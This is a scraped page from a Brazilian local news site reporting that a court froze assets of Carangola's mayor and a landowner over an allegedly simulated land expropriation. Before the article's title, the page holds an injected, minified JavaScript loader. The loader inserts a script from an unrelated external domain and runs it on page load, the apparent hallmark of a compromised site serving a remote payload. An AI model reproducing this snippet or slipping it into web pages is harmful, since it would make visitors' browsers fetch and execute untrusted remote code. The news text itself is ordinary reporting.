;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Justiça bloqueia bens do prefeito de Carangola. - Portal Carangola

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Justiça bloqueia bens do prefeito de Carangola.

cesar-ricardoA pedido do Ministério Público de Minas Gerais (MPMG), a Justiça de Carangola decretou, em caráter cautelar, a indisponibilidade de bens do prefeito César Ricardo e de um proprietário rural da região em mais de R$ 1,3 milhões. Os dois são acusados de negociarem seis terrenos no distrito de Lacerdina, por mais de R$ 2,2 milhões, para a implantação de projetos subsidiados pelos governos estadual e federal, valendo-se, contudo, de um processo administrativo de desapropriação maculado, simulado e totalmente desvirtuado do devido processo legal.

De acordo com as investigações do MPMG, em junho de 2013 o prefeito encontrou os imóveis à venda por R$ 150 mil o alqueire. Ciente da proposta do proprietário das terras, o chefe do Executivo encaminhou projeto de lei e obteve aprovação da Câmara Municipal para abertura de crédito adicional especial, bem como autorização para a obtenção dos imóveis.

“Entretanto, a aquisição não foi precedida de uma avaliação imparcial, não passando de um ato simulado com vistas a dar aparência de legalidade a uma negociação particular, totalmente desvirtuada do interesse público”, argumenta o promotor de Justiça de Carangola Breno Max de Jesus Silveira.

Além disso, segundo o representante do MPMG, não foram realizados estudos técnicos acerca da viabilidade ambiental de eventuais empreendimentos, já que considerável parte dos imóveis está inserida em área de preservação permanente. “O local está constantemente sujeito a inundações nos períodos das chuvas”, acrescenta.

A Justiça ainda decretou a indisponibilidade dos imóveis objetos da desapropriação, bem como decretou que o município deposite em juízo o pagamento das parcelas ainda pendentes pela aquisição dos terrenos.

Ressarcimento ao erário
O bloqueio de bens e valores determinado, liminarmente, pela Justiça tem o objetivo de garantir possível ressarcimento do dano causado ao município de Carangola, conforme será requerido pelo MPMG em Ação Civil Pública por ato de improbidade administrativa.

Fonte:Portal Espera Feliz/Com informações da assessoria de imprensa do Ministério Público de Minas Gerais

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